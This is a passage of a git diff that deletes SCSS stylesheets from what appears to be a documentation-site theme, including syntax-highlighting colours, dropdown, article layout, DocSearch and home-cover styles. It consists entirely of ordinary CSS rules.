415.481 88.258 417.287 87.6489C417.272 87.8416 417.256 88.0446 417.242 88.2307C417.115 89.9186 417.05 91.0646 417.05 91.67C417.019 92.7209 416.947 94.0185 416.835 95.5627C416.723 97.1075 416.651 98.7318 416.619 100.435C416.588 102.139 416.651 103.859 416.811 105.595C416.971 107.33 417.306 108.907 417.818 110.325C418.328 111.741 419.055 112.944 419.999 113.932C420.941 114.918 422.18 115.508 423.715 115.699C425.345 115.921 426.751 115.635 427.934 114.839C429.116 114.042 430.075 112.952 430.811 111.567C431.546 110.181 432.064 108.581 432.369 106.766C432.672 104.95 432.76 103.127 432.633 101.295C432.504 99.4639 432.168 97.7366 431.625 96.113C431.082 94.4882 430.33 93.1506 429.372 92.0991C429.948 91.9409 430.634 91.6385 431.434 91.1919C432.232 90.7464 433.055 90.2446 433.903 89.687C434.111 89.5501 434.316 89.4058 434.524 89.2652C434.446 90.3937 434.406 91.1985 434.406 91.67C434.375 92.7209 434.303 94.0185 434.19 95.5627C434.079 97.1075 434.007 98.7318 433.975 100.435C433.943 102.139 434.007 103.859 434.167 105.595C434.326 107.33 434.662 108.907 435.173 110.325C435.684 111.741 436.412 112.944 437.354 113.932C438.297 114.918 439.536 115.508 441.071 115.699C442.7 115.921 444.106 115.635 445.289 114.839C446.472 114.042 447.431 112.952 448.166 111.567C448.901 110.181 449.42 108.581 449.724 106.766C450.028 104.95 450.115 103.127 449.988 101.295C449.86 99.4639 449.524 97.7366 448.982 96.113C448.437 94.4882 447.687 93.1506 446.727 92.0991C447.303 91.9409 447.99 91.6385 448.789 91.1919C449.588 90.7464 450.411 90.2446 451.259 89.687C451.699 89.3974 452.136 89.0986 452.573 88.7913C452.737 90.3488 453.091 91.7149 453.655 92.864C454.343 94.2658 455.277 95.3482 456.46 96.113C457.642 96.8766 459.033 97.299 460.632 97.3784C462.23 97.4572 463.971 97.1633 465.858 96.4942C467.264 95.9851 468.486 95.3482 469.525 94.5839C470.563 93.8191 471.498 92.8876 472.33 91.7894C472.378 91.7258 472.423 91.6567 472.47 91.5925C472.618 92.0385 472.782 92.467 472.977 92.864C473.665 94.2658 474.6 95.3482 475.782 96.113C476.964 96.8766 478.355 97.299 479.953 97.3784C481.551 97.4572 483.293 97.1633 485.179 96.4942C486.586 95.9851 487.808 95.3482 488.847 94.5839C489.885 93.8191 490.82 92.8876 491.652 91.7894C492.483 90.6901 493.241 89.424 493.929 87.9913C494.616 86.558 495.311 84.9186 496.015 83.0708C496.142 82.5617 496.022 82.1078 495.655 81.7096Z' fill='%230D0C23'/%3E%3C/svg%3E%0A"); - border-radius: 6px; - box-shadow: 0px 2px 3px rgba(0, 0, 0, 0.1); -} - -:root[data-color="dark"] .btn-buymeacoffee, :root[data-color="night"] .btn-buymeacoffee { - box-shadow: 0px 2px 3px rgba(255, 255, 255, 0.1); -} - -.btn-close { - background: var(--background-fg); - border: 1px dotted var(--border-color); - border-radius: 4px; - cursor: pointer; -} \ No newline at end of file diff --git a/assets/scss/component/_chroma.scss b/assets/scss/component/_chroma.scss deleted file mode 100644 index b695a36..0000000 --- a/assets/scss/component/_chroma.scss +++ /dev/null @@ -1,83 +0,0 @@ -/* Background */ .chroma { font-size: .9em; color: var(--chroma-base05); background-color: var(--chroma-base00); border-radius: 6px; padding: 16px 24px; overflow-x: auto; } -/* Other */ .chroma .x { color: var(--chroma-base05) } -/* Error */ .chroma .err { color: var(--chroma-base08) } -/* LineTableTD */ .chroma .lntd { vertical-align: top; padding: 0; margin: 0; border: 0; } -/* LineTable */ .chroma .lntable { border-spacing: 0; padding: 0; margin: 0; border: 0; width: auto; overflow: auto; display: block; } -/* LineHighlight */ .chroma .hl { display: block; width: 100%; background-color: var(--chroma-base02) } -/* LineNumbersTable */ .chroma .lnt { margin-right: 0.4em; padding: 0 0.4em 0 0.4em; } -/* LineNumbers */ .chroma .ln { margin-right: 0.4em; padding: 0 0.4em 0 0.4em; border-right: 1px solid var(--chroma-base0A); } -/* Line */ .chroma .line { display: flex; } -/* Keyword */ .chroma .k { color: var(--chroma-base0E) } -/* KeywordConstant */ .chroma .kc { color: var(--chroma-base0E) } -/* KeywordDeclaration */ .chroma .kd { color: var(--chroma-base0E) } -/* KeywordNamespace */ .chroma .kn { color: var(--chroma-base0E) } -/* KeywordPseudo */ .chroma .kp { color: var(--chroma-base0D) } -/* KeywordReserved */ .chroma .kr { color: var(--chroma-base0E) } -/* KeywordType */ .chroma .kt { color: var(--chroma-base0E) } -/* Name */ .chroma .n { color: var(--chroma-base05) } -/* NameAttribute */ .chroma .na { color: var(--chroma-base05) } -/* NameBuiltin */ .chroma .nb { color: var(--chroma-base0D) } -/* NameBuiltinPseudo */ .chroma .bp { color: var(--chroma-base0D) } -/* NameClass */ .chroma .nc { color: var(--chroma-base0A) } -/* NameConstant */ .chroma .no { color: var(--chroma-base09) } -/* NameDecorator */ .chroma .nd { color: var(--chroma-base09) } -/* NameEntity */ .chroma .ni { color: var(--chroma-base0A) } -/* NameException */ .chroma .ne { color: var(--chroma-base0A) } -/* NameFunction */ .chroma .nf { color: var(--chroma-base05) } -/* NameFunctionMagic */ .chroma .fm { color: var(--chroma-base05) } -/* NameLabel */ .chroma .nl { color: var(--chroma-base08) } -/* NameNamespace */ .chroma .nn { color: var(--chroma-base0A) } -/* NameOther */ .chroma .nx { color: var(--chroma-base0D) } -/* NameProperty */ .chroma .py { color: var(--chroma-base08) } -/* NameTag */ .chroma .nt { color: var(--chroma-base0D) } -/* NameVariable */ .chroma .nv { color: var(--chroma-base0D) } -/* NameVariableClass */ .chroma .vc { color: var(--chroma-base0D) } -/* NameVariableGlobal */ .chroma .vg { color: var(--chroma-base0D) } -/* NameVariableInstance */ .chroma .vi { color: var(--chroma-base08) } -/* NameVariableMagic */ .chroma .vm { color: var(--chroma-base0D) } -/* Literal */ .chroma .l { color: var(--chroma-base0B) } -/* LiteralDate */ .chroma .ld { color: var(--chroma-base0B) } -/* LiteralString */ .chroma .s { color: var(--chroma-base0B) } -/* LiteralStringAffix */ .chroma .sa { color: var(--chroma-base0B) } -/* LiteralStringBacktick */ .chroma .sb { color: var(--chroma-base0B) } -/* LiteralStringChar */ .chroma .sc { color: var(--chroma-base0B) } -/* LiteralStringDelimiter */ .chroma .dl { color: var(--chroma-base0F) } -/* LiteralStringDoc */ .chroma .sd { color: var(--chroma-base03) } -/* LiteralStringDouble */ .chroma .s2 { color: var(--chroma-base0B) } -/* LiteralStringEscape */ .chroma .se { color: var(--chroma-base0C) } -/* LiteralStringHeredoc */ .chroma .sh { color: var(--chroma-base0B) } -/* LiteralStringInterpol */ .chroma .si { color: var(--chroma-base0F) } -/* LiteralStringOther */ .chroma .sx { color: var(--chroma-base0B) } -/* LiteralStringRegex */ .chroma .sr { color: var(--chroma-base0C) } -/* LiteralStringSingle */ .chroma .s1 { color: var(--chroma-base0B) } -/* LiteralStringSymbol */ .chroma .ss { color: var(--chroma-base0B) } -/* LiteralNumber */ .chroma .m { color: var(--chroma-base09) } -/* LiteralNumberBin */ .chroma .mb { color: var(--chroma-base09) } -/* LiteralNumberFloat */ .chroma .mf { color: var(--chroma-base09) } -/* LiteralNumberHex */ .chroma .mh { color: var(--chroma-base09) } -/* LiteralNumberInteger */ .chroma .mi { color: var(--chroma-base09) } -/* LiteralNumberIntegerLong */ .chroma .il { color: var(--chroma-base09) } -/* LiteralNumberOct */ .chroma .mo { color: var(--chroma-base09) } -/* Operator */ .chroma .o { color: var(--chroma-base05) } -/* OperatorWord */ .chroma .ow { color: var(--chroma-base05) } -/* Punctuation */ .chroma .p { color: var(--chroma-base05) } -/* Comment */ .chroma .c { color: var(--chroma-base03) } -/* CommentHashbang */ .chroma .ch { color: var(--chroma-base03) } -/* CommentMultiline */ .chroma .cm { color: var(--chroma-base03) } -/* CommentSingle */ .chroma .c1 { color: var(--chroma-base03) } -/* CommentSpecial */ .chroma .cs { color: var(--chroma-base03) } -/* CommentPreproc */ .chroma .cp { color: var(--chroma-base0F) } -/* CommentPreprocFile */ .chroma .cpf { color: var(--chroma-base0B) } -/* Generic */ .chroma .g { color: var(--chroma-base05) } -/* GenericDeleted */ .chroma .gd { color: var(--chroma-base08) } -/* GenericEmph */ .chroma .ge { color: var(--chroma-base05); font-style: italic } -/* GenericError */ .chroma .gr { color: var(--chroma-base05) } -/* GenericHeading */ .chroma .gh { color: var(--chroma-base0D) } -/* GenericInserted */ .chroma .gi { color: var(--chroma-base0B) } -/* GenericOutput */ .chroma .go { color: var(--chroma-base05) } -/* GenericPrompt */ .chroma .gp { color: var(--chroma-base05) } -/* GenericStrong */ .chroma .gs { color: var(--chroma-base05); font-weight: bold } -/* GenericSubheading */ .chroma .gu { color: var(--chroma-base0D) } -/* GenericTraceback */ .chroma .gt { color: var(--chroma-base05) } -/* GenericUnderline */ .chroma .gl { color: var(--chroma-base05); text-decoration: underline } -/* TextWhitespace */ .chroma .w { color: var(--chroma-base00); } \ No newline at end of file diff --git a/assets/scss/component/_dropdown.scss b/assets/scss/component/_dropdown.scss deleted file mode 100644 index 317184e..0000000 --- a/assets/scss/component/_dropdown.scss +++ /dev/null @@ -1,51 +0,0 @@ -.dropdown { - position: relative; -} - -.dropdown-btn { - display: flex; - flex-direction: row; - box-shadow: var(--box-shadow); - border-radius: 6px; - padding: 6px; - cursor: pointer; - white-space: nowrap; -} - -.dropdown-btn .icon-select { - opacity: .4; -} - -.dropdown-menu { - display: none; - position: absolute; - right: 0; - top: 34px; - min-width: 100px; - max-height: 240px; - overflow-x: auto; - background: var(--background); - color: var(--color3); - box-shadow: var(--box-shadow2); - z-index: 1; - border-radius: 6px; - padding: 3px; -} - -.dropdown-menu.show { - display: block; -} - -.dropdown-menu button, .dropdown-menu a { - width: 100%; - display: flex; - gap: 2px; - padding: 6px; - align-items: center; - justify-content: center; - cursor: pointer; -} - -.dropdown-menu button:hover, .dropdown-menu a:hover { - background: var(--background-fg); -} diff --git a/assets/scss/component/article.scss b/assets/scss/component/article.scss deleted file mode 100644 index 1d51686..0000000 --- a/assets/scss/component/article.scss +++ /dev/null @@ -1,335 +0,0 @@ -#article { - padding: 8px 16px; -} - -#article-header { - font-size: 3em; - font-weight: 400; - margin-bottom: 1em; - color: var(--color2) -} - -#article-content h1, -#article-content h2, -#article-content h3, -#article-content h4, -#article-content h5, -#article-content h6 { - line-height: 1em; - font-weight: 400; - margin: 2.6em 0 .1em; - color: var(--color2) -} - -#article-content h1 { - font-size: 1.8em -} - -#article-content h2 { - font-size: 1.5em -} - -#article-content h3 { - font-size: 1.3em -} - -#article-content h4 { - font-size: 1.1em -} - -#article-content .highlight, -#article-content blockquote, -#article-content dl, -#article-content iframe, -#article-content ol, -#article-content p, -#article-content table, -#article-content ul { - margin-top: 1em; - line-height: 1.8rem; - letter-spacing: -.1px; -} - -#article-content blockquote p { - margin: 1em 0 -} - -#article-content blockquote dl, -#article-content blockquote ol, -#article-content blockquote ul { - margin: 0 1em 1em 1em -} - -#article-content a { - color: var(--color-anchor); - text-decoration: none -} - -#article-content a:hover { - color: var(--color-hover); - text-decoration: underline -} - -@media print { - #article-content a { - color: #355265; - text-decoration: underline - } - - #article-content a:after { - content: " (" attr(href) ")"; - font-size: 80% - } -} - -#article-content strong, #article-content b, #article-content table th { - font-weight: 600 -} - -#article-content em { - font-style: italic -} - -#article-content dl, -#article-content ol, -#article-content ul { - margin-left: 20px -} - -#article-content dl dl, -#article-content dl ol, -#article-content dl ul, -#article-content ol dl, -#article-content ol ol, -#article-content ol ul, -#article-content ul dl, -#article-content ul ol, -#article-content ul ul { - margin-top: 0; - margin-bottom: 0 -} - -#article-content ul { - list-style: disc -} - -#article-content ol { - list-style: decimal -} - -#article-content dl { - list-style: square -} - -#article-content li > ul { - list-style: circle -} - -#article-content li > ol { - list-style: lower-alpha -} - -#article-content li p { - margin: 0 -} - -#article-content li .highlight, -#article-content li blockquote, -#article-content li iframe, -#article-content li table { - margin: 1em 0 -} - -#article-content img, -#article-content video { - max-width: 100%; - border-radius: 4px -} - -#article-content blockquote { - padding: 8px 12px; - position: relative; - background: var(--background-fg); - border-left: 4px solid var(--border-color); - border-radius: 6px; -} - -#article-content blockquote footer { - margin: 1em 0; - font-style: italic -} - -#article-content blockquote footer cite:before { - content: "—"; - padding: 0 .3em -} - -#article-content blockquote footer cite a { - color: var(--border-color); -} - -#article-content code, #article-content pre { - font-family: var(--font-family-code); -} - -#article-content h1 code, -#article-content h2 code, -#article-content h3 code, -#article-content h4 code, -#article-content h5 code, -#article-content h6 code, -#article-content p code, -#article-content blockquote code, -#article-content ul code, -#article-content ol code, -#article-content dl code, -#article-content table code { - background: var(--chroma-base00); - padding: 4px; - border-radius: 4px; - font-size: .9em; -} - -#article-content pre:not(.chroma) { - color: var(--chroma-base05); - font-size: .9em; - line-height: 1.8; - letter-spacing: -.1px; - background-color: var(--chroma-base00); - border-radius: 6px; - padding: 16px 24px; - overflow-x: auto; - margin-top: 1em; -} - -#article-content blockquote code { - background: var(--background-fg2); - opacity: .8; -} - -#article-content blockquote .chroma, #article-content blockquote pre:not(.chroma) { - background: var(--background-fg2); - margin-bottom: 1em; -} - -#article-content blockquote .chroma code, #article-content blockquote pre:not(.chroma) code { - padding: 0; -} - -#article-content table { - max-width: 100%; - border: 1px solid var(--border-color) -} - -#article-content table td, -#article-content table th { - padding: 5px 15px -} - -#article-content table tr:nth-child(2n) { - background: var(--background-fg) -} - -#article-footer { - display: grid; - grid-template-columns: 1fr 1fr; - padding-top: 20px; -} - -#article-last-updated, #article-prev-link, #article-next-link { - display: flex; - align-items: center; - padding: 12px 0; -} - -#article-last-updated { - grid-column: 1 / 3; - justify-content: center; - color: var(--color3); -} - -#article-prev-link, #article-next-link { - color: var(--color-anchor); -} - -#article-prev-link:hover, #article-next-link:hover { - color: var(--color-hover); - font-weight: 600; - font-size: 98%; -} - -#article-next-link { - justify-content: flex-end; -} - -#article-prev-link .icon { - padding-right: 6px; -} - -#article-next-link .icon { - padding-left: 6px; -} - -@media (max-width: 767px) { - #article-next-link[data-first-page="true"] { - grid-column: 2/ 3; - } -} - -@media (min-width: 768px) { - #article { - padding: 16px 24px; - } - - #article-footer { - display: grid; - grid-template-columns: repeat(3, 1fr); - } - - #article-prev-link { - grid-column: 1/ 2; - grid-row: 1; - } - - #article-last-updated { - grid-column: 2 / 3; - } - - #article-next-link { - grid-column: 3 / 4; - } -} - -@media (min-width: 1024px) { - #article { - padding: 24px 32px; - } -} - -@media (min-width: 1281px) { - #article { - padding: 32px 40px; - } -} - -@media (min-width: 1920px) { - #article { - padding: 40px 48px; - } - - #article-content { - width: 90%; - } -} - -@media (min-width: 2560px) { - #article-content { - width: 85%; - } -} - -@media (min-width: 3840px) { - #article-content { - width: 80%; - } -} diff --git a/assets/scss/component/docsearch.scss b/assets/scss/component/docsearch.scss deleted file mode 100644 index 841cd7f..0000000 --- a/assets/scss/component/docsearch.scss +++ /dev/null @@ -1,690 +0,0 @@ -/*! @docsearch/css 3.2.0 | MIT License | © Algolia, Inc. and contributors | https://docsearch.algolia.com | https://cdn.jsdelivr.net/npm/@docsearch/css@3 */ -:root { - --docsearch-primary-color: #5468ff; - --docsearch-spacing: 12px; - --docsearch-icon-stroke-width: 1.4; - --docsearch-highlight-color: var(--docsearch-primary-color); - --docsearch-muted-color: #969faf; - --docsearch-container-background: rgba(255, 255, 255, 0.1); - --docsearch-logo-color: #5468ff; - --docsearch-modal-width: 560px; - --docsearch-modal-height: 600px; - --docsearch-modal-shadow: inset 1px 1px 0 0 hsla(0, 0%, 100%, 0.5), 0 3px 8px 0 #555a64; - --docsearch-searchbox-height: 56px; - --docsearch-searchbox-focus-background: #fff; - --docsearch-searchbox-shadow: inset 0 0 0 2px var(--docsearch-primary-color); - --docsearch-hit-height: 56px; - --docsearch-hit-color: #444950; - --docsearch-hit-active-color: #fff; - --docsearch-hit-background: #fff; - --docsearch-hit-shadow: 0 1px 3px 0 #d4d9e1; - --docsearch-footer-height: 44px; - --docsearch-footer-shadow: 0 -1px 0 0 #e0e3e8, 0 -3px 6px 0 rgba(69, 98, 155, 0.12) -} - -:root[data-color="dark"] { - --docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309; - --docsearch-searchbox-focus-background: #000; - --docsearch-hit-color: #bec3c9; - --docsearch-hit-shadow: none; - --docsearch-hit-background: #090a11; - --docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2); - --docsearch-muted-color: #7f8497 -} - -:root[data-color="night"] { - --docsearch-modal-shadow: inset 1px 1px 0 0 #2c2e40, 0 3px 8px 0 #000309; - --docsearch-searchbox-focus-background: #000; - --docsearch-hit-color: #bec3c9; - --docsearch-hit-shadow: none; - --docsearch-hit-background: #090a11; - --docsearch-footer-shadow: inset 0 1px 0 0 rgba(73, 76, 106, 0.5), 0 -4px 8px 0 rgba(0, 0, 0, 0.2); - --docsearch-muted-color: #7f8497 -} - -.DocSearch-Button { - width: 100%; - line-height: 1.6em; - align-items: center; - box-shadow: var(--box-shadow); - border-radius: 24px; - color: var(--color); - cursor: pointer; - display: flex; - justify-content: space-between; - margin: 0 12px; - padding: 3px 6px; - user-select: none; -} - -.DocSearch-Button:active, .DocSearch-Button:focus, .DocSearch-Button:hover { - background: var(--docsearch-searchbox-focus-background); - box-shadow: var(--docsearch-searchbox-shadow); - color: var(--color); - outline: none -} - -.DocSearch-Button-Container { - align-items: center; - display: flex -} - -.DocSearch-Search-Icon { - stroke-width: 1.6 -} - -.DocSearch-Button-Placeholder { - font-size: 1rem; - padding: 0 12px 0 6px; - color: var(--color3) -} - -.DocSearch-Button-Keys { - display: flex; - min-width: calc(40px + .8em) -} - -.DocSearch-Button-Key { - align-items: center; - border-radius: 3px; - color: var(--docsearch-muted-color); - display: flex; - height: 18px; - justify-content: center; - margin-right: .4em; - position: relative; - border: 1px solid var(--border-color); - width: 20px -} - -@media (min-width: 1278px) { - .DocSearch-Button { - width: 80%; - margin: 0; - } -} - -@media (min-width: 2558px) { - .DocSearch-Button { - width: 60%; - } -} - -@media (min-width: 3838px) { - .DocSearch-Button { - width: 40%; - } -} - -.DocSearch--active { - overflow: hidden !important -} - -.DocSearch-Container, .DocSearch-Container * { - box-sizing: border-box -} - -.DocSearch-Container { - background-color: var(--docsearch-container-background); - height: 100vh; - left: 0; - position: fixed; - top: 0; - width: 100vw; - z-index: 200; - backdrop-filter: blur(var(--blur)); - -webkit-backdrop-filter: blur(var(--blur)); -} - -.DocSearch-Container a { - text-decoration: none -} - -.DocSearch-Link { - appearance: none; - background: none; - border: 0; - color: var(--docsearch-highlight-color); - cursor: pointer; - font: inherit; - margin: 0; - padding: 0 -} - -.DocSearch-Modal { - background: var(--background); - border-radius: 6px; - box-shadow: var(--docsearch-modal-shadow); - flex-direction: column; - margin: 60px auto auto; - max-width: var(--docsearch-modal-width); - position: relative -} - -.DocSearch-SearchBar { - display: flex; - padding: var(--docsearch-spacing) var(--docsearch-spacing) 0 -} - -.DocSearch-Form { - align-items: center; - background: var(--docsearch-searchbox-focus-background); - border-radius: 4px; - box-shadow: var(--docsearch-searchbox-shadow); - display: flex; - height: var(--docsearch-searchbox-height); - margin: 0; - padding: 0 var(--docsearch-spacing); - position: relative; - width: 100% -} - -.DocSearch-Input { - appearance: none; - background: transparent; - border: 0; - color: var(--docsearch-text-color); - flex: 1; - font: inherit; - font-size: 1.2em; - height: 100%; - outline: none; - padding: 0 0 0 8px; - width: 80% -} - -.DocSearch-Input::placeholder { - color: var(--docsearch-muted-color); - opacity: 1 -} - -.DocSearch-Input::-webkit-search-cancel-button, .DocSearch-Input::-webkit-search-decoration, .DocSearch-Input::-webkit-search-results-button, .DocSearch-Input::-webkit-search-results-decoration { - display: none -} - -.DocSearch-LoadingIndicator, .DocSearch-MagnifierLabel, .DocSearch-Reset { - margin: 0; - padding: 0 -} - -.DocSearch-MagnifierLabel, .DocSearch-Reset { - align-items: center; - color: var(--docsearch-highlight-color); - display: flex; - justify-content: center -} - -.DocSearch-Container--Stalled .DocSearch-MagnifierLabel, .DocSearch-LoadingIndicator { - display: none -} - -.DocSearch-Container--Stalled .DocSearch-LoadingIndicator { - align-items: center; - color: var(--docsearch-highlight-color); - display: flex; - justify-content: center -} - -@media screen and (prefers-reduced-motion: reduce) { - .DocSearch-Reset { - animation: none; - appearance: none; - background: none; - border: 0; - border-radius: 50%; - color: var(--docsearch-icon-color); - cursor: pointer; - right: 0; - stroke-width: var(--docsearch-icon-stroke-width) - } -} - -.DocSearch-Reset { - animation: fade-in .1s ease-in forwards; - appearance: none; - background: none; - border: 0; - border-radius: 50%; - color: var(--docsearch-icon-color); - cursor: pointer; - padding: 2px; - right: 0; - stroke-width: var(--docsearch-icon-stroke-width) -} - -.DocSearch-Reset[hidden] { - display: none -} - -.DocSearch-Reset:focus { - outline: none -} - -.DocSearch-Reset:hover { - color: var(--docsearch-highlight-color) -} - -.DocSearch-LoadingIndicator svg, .DocSearch-MagnifierLabel svg { - height: 24px; - width: 24px -} - -.DocSearch-Cancel { - display: none -} - -.DocSearch-Dropdown { - max-height: calc(var(--docsearch-modal-height) - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height)); - min-height: var(--docsearch-spacing); - overflow-y: auto; - overflow-y: overlay; - padding: 0 var(--docsearch-spacing); - scrollbar-color: var(--docsearch-muted-color) var(--docsearch-modal-background); - scrollbar-width: thin -} - -.DocSearch-Dropdown::-webkit-scrollbar { - width: 12px -} - -.DocSearch-Dropdown::-webkit-scrollbar-track { - background: transparent -} - -.DocSearch-Dropdown::-webkit-scrollbar-thumb { - background-color: var(--docsearch-muted-color); - border: 3px solid var(--docsearch-modal-background); - border-radius: 20px -} - -.DocSearch-Dropdown ul { - list-style: none; - margin: 0; - padding: 0 -} - -.DocSearch-Label { - font-size: .75em; - line-height: 1.6em -} - -.DocSearch-Help, .DocSearch-Label { - color: var(--docsearch-muted-color) -} - -.DocSearch-Help { - font-size: .9em; - margin: 0; - user-select: none -} - -.DocSearch-Title { - font-size: 1.2em -} - -.DocSearch-Logo a { - display: flex -} - -.DocSearch-Logo svg { - color: var(--docsearch-logo-color); - margin-left: 8px -} - -.DocSearch-Hits:last-of-type { - margin-bottom: 24px -} - -.DocSearch-Hits mark { - background: none; - color: var(--docsearch-highlight-color) -} - -.DocSearch-HitsFooter { - color: var(--docsearch-muted-color); - display: flex; - font-size: .85em; - justify-content: center; - margin-bottom: var(--docsearch-spacing); - padding: var(--docsearch-spacing) -} - -.DocSearch-HitsFooter a { - border-bottom: 1px solid; - color: inherit -} - -.DocSearch-Hit { - border-radius: 4px; - display: flex; - padding-bottom: 4px; - position: relative -} - -@media screen and (prefers-reduced-motion: reduce) { - .DocSearch-Hit--deleting { - transition: none - } -} - -.DocSearch-Hit--deleting { - opacity: 0; - transition: all .25s linear -} - -@media screen and (prefers-reduced-motion: reduce) { - .DocSearch-Hit--favoriting { - transition: none - } -} - -.DocSearch-Hit--favoriting { - transform: scale(0); - transform-origin: top center; - transition: all .25s linear; - transition-delay: .25s -} - -.DocSearch-Hit a { - background: var(--docsearch-hit-background); - border-radius: 4px; - box-shadow: var(--docsearch-hit-shadow); - display: block; - padding-left: var(--docsearch-spacing); - width: 100% -} - -.DocSearch-Hit-source { - background: var(--docsearch-modal-background); - color: var(--docsearch-highlight-color); - font-size: .85em; - font-weight: 600; - line-height: 32px; - margin: 0 -4px; - padding: 8px 4px 0; - position: sticky; - top: 0; - z-index: 10 -} - -.DocSearch-Hit-Tree { - color: var(--docsearch-muted-color); - height: var(--docsearch-hit-height); - opacity: .5; - stroke-width: var(--docsearch-icon-stroke-width); - width: 24px -} - -.DocSearch-Hit[aria-selected=true] a { - background-color: var(--docsearch-highlight-color) -} - -.DocSearch-Hit[aria-selected=true] mark { - text-decoration: underline -} - -.DocSearch-Hit-Container { - align-items: center; - color: var(--docsearch-hit-color); - display: flex; - flex-direction: row; - height: var(--docsearch-hit-height); - padding: 0 var(--docsearch-spacing) 0 0 -} - -.DocSearch-Hit-icon { - height: 20px; - width: 20px -} - -.DocSearch-Hit-action, .DocSearch-Hit-icon { - color: var(--docsearch-muted-color); - stroke-width: var(--docsearch-icon-stroke-width) -} - -.DocSearch-Hit-action { - align-items: center; - display: flex; - height: 22px; - width: 22px -} - -.DocSearch-Hit-action svg { - display: block; - height: 18px; - width: 18px -} - -.DocSearch-Hit-action + .DocSearch-Hit-action { - margin-left: 6px -} - -.DocSearch-Hit-action-button { - appearance: none; - background: none; - border: 0; - border-radius: 50%; - color: inherit; - cursor: pointer; - padding: 2px -} - -svg.DocSearch-Hit-Select-Icon { - display: none -} - -.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Select-Icon { - display: block -} - -.DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover { - background: rgba(0, 0, 0, .2); - transition: background-color .1s ease-in -} - -@media screen and (prefers-reduced-motion: reduce) { - .DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover { - transition: none - } -} - -.DocSearch-Hit-action-button:focus path, .DocSearch-Hit-action-button:hover path { - fill: #fff -} - -.DocSearch-Hit-content-wrapper { - display: flex; - flex: 1 1 auto; - flex-direction: column; - font-weight: 500; - justify-content: center; - line-height: 1.2em; - margin: 0 8px; - overflow-x: hidden; - position: relative; - text-overflow: ellipsis; - white-space: nowrap; - width: 80% -} - -.DocSearch-Hit-title { - font-size: .9em -} - -.DocSearch-Hit-path { - color: var(--docsearch-muted-color); - font-size: .75em -} - -.DocSearch-Hit[aria-selected=true] .DocSearch-Hit-action, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-icon, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-path, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-text, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-title, .DocSearch-Hit[aria-selected=true] .DocSearch-Hit-Tree, .DocSearch-Hit[aria-selected=true] mark { - color: var(--docsearch-hit-active-color) !important -} - -@media screen and (prefers-reduced-motion: reduce) { - .DocSearch-Hit-action-button:focus, .DocSearch-Hit-action-button:hover { - background: rgba(0, 0, 0, .2); - transition: none - } -} - -.DocSearch-ErrorScreen, .DocSearch-NoResults, .DocSearch-StartScreen { - font-size: .9em; - margin: 0 auto; - padding: 36px 0; - text-align: center; - width: 80% -} - -.DocSearch-Screen-Icon { - color: var(--docsearch-muted-color); - padding-bottom: 12px -} - -.DocSearch-NoResults-Prefill-List { - display: inline-block; - padding-bottom: 24px; - text-align: left -} - -.DocSearch-NoResults-Prefill-List ul { - display: inline-block; - padding: 8px 0 0 -} - -.DocSearch-NoResults-Prefill-List li { - list-style-position: inside; - list-style-type: "» " -} - -.DocSearch-Prefill { - appearance: none; - background: none; - border: 0; - border-radius: 1em; - color: var(--docsearch-highlight-color); - cursor: pointer; - display: inline-block; - font-size: 1em; - font-weight: 700; - padding: 0 -} - -.DocSearch-Prefill:focus, .DocSearch-Prefill:hover { - outline: none; - text-decoration: underline -} - -.DocSearch-Footer { - align-items: center; - border-radius: 0 0 8px 8px; - box-shadow: var(--docsearch-footer-shadow); - display: flex; - flex-direction: row-reverse; - flex-shrink: 0; - height: var(--docsearch-footer-height); - justify-content: space-between; - padding: 0 var(--docsearch-spacing); - position: relative; - user-select: none; - width: 100%; - z-index: 300 -} - -.DocSearch-Commands { - color: var(--docsearch-muted-color); - display: flex; - list-style: none; - margin: 0; - padding: 0 -} - -.DocSearch-Commands li { - align-items: center; - display: flex -} - -.DocSearch-Commands li:not(:last-of-type) { - margin-right: .8em -} - -.DocSearch-Commands-Key { - align-items: center; - border-radius: 2px; - display: flex; - height: 18px; - justify-content: center; - margin-right: .4em; - padding: 0 0 1px; - color: var(--docsearch-muted-color); - border: 1px solid var(--border-color); - width: 20px -} - -@media (max-width: 768px) { - :root { - --docsearch-spacing: 10px; - --docsearch-footer-height: 40px - } - .DocSearch-Dropdown { - height: 100% - } - .DocSearch-Container { - height: 100vh; - height: -webkit-fill-available; - height: calc(var(--docsearch-vh, 1vh) * 100); - position: absolute - } - .DocSearch-Footer { - border-radius: 0; - bottom: 0; - position: absolute - } - .DocSearch-Hit-content-wrapper { - display: flex; - position: relative; - width: 80% - } - .DocSearch-Modal { - border-radius: 0; - box-shadow: none; - height: 100vh; - height: -webkit-fill-available; - height: calc(var(--docsearch-vh, 1vh) * 100); - margin: 0; - max-width: 100%; - width: 100% - } - .DocSearch-Dropdown { - max-height: calc(var(--docsearch-vh, 1vh) * 100 - var(--docsearch-searchbox-height) - var(--docsearch-spacing) - var(--docsearch-footer-height)) - } - .DocSearch-Cancel { - appearance: none; - background: none; - border: 0; - color: var(--docsearch-highlight-color); - cursor: pointer; - display: inline-block; - flex: none; - font: inherit; - font-size: 1em; - font-weight: 500; - margin-left: var(--docsearch-spacing); - outline: none; - overflow: hidden; - padding: 0; - user-select: none; - white-space: nowrap - } - .DocSearch-Commands, .DocSearch-Hit-Tree { - display: none - } -} - -@keyframes fade-in { - 0% { - opacity: 0 - } - to { - opacity: 1 - } -} \ No newline at end of file diff --git a/assets/scss/component/home.scss b/assets/scss/component/home.scss deleted file mode 100644 index 2ecfc52..0000000 --- a/assets/scss/component/home.scss +++ /dev/null @@ -1,130 +0,0 @@ -.cover { - padding: 40px 20px; - width: 100vw; - flex: 1; - display: flex; - align-items: center; - justify-content: center; - flex-direction: column; - background: var(--home-cover-background); - position: relative; - color: var(--color2) -} - -.cover::after { - content: ""; - position: absolute; - top: 0; - left: 0; - right: 0; - bottom: 0; - z-index: -1; - background: inherit; - filter: blur(1rem); -} - -.cover h1 { - font-family: var(--font-family-brand); - font-size: 4em; - 